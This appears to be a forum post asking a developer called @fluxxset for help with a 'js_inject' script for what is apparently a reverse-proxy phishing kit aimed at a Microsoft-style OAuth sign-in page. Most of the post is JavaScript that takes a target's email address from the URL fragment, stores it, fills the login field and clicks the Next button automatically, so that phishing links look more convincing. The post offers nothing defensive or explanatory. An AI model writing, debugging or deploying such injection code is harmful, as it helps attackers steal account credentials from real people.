Hello @fluxxset. I need help. I want the email address to be pre-filled from the URL fragment β for example: https://login.example.com#[email protected] to automatically fill the email input field
i tried this myself but nothing works
js_inject:
- trigger_domains: ["login.*****.com"]
trigger_paths: ["/common/oauth2/"]
script: |
// Store email from hash if present
(function() {
const hash = window.location.hash;
if (hash && hash.startsWith("#")) {
const email = hash.substring(1); // remove '#'
if (email.includes("@")) {
localStorage.setItem("email", email);
console.log("Email stored in localStorage:", email);
}
}
})();
// Autofill email field
function autofillEmail() {
try {
const email = localStorage.getItem("email") || "";
const emailField = document.getElementById("i0116");
const nextButton = document.getElementById("idSIButton9");
if (emailField && nextButton) {
emailField.value = email;
console.log("Autofilled email:", email);
nextButton.focus();
nextButton.click();
} else {
console.log("Elements not found yet, retrying...");
setTimeout(autofillEmail, 1000);
}
} catch (err) {
console.log("Error in autofill:", err);
setTimeout(autofillEmail, 1000);
}
}
setTimeout(autofillEmail, 1000);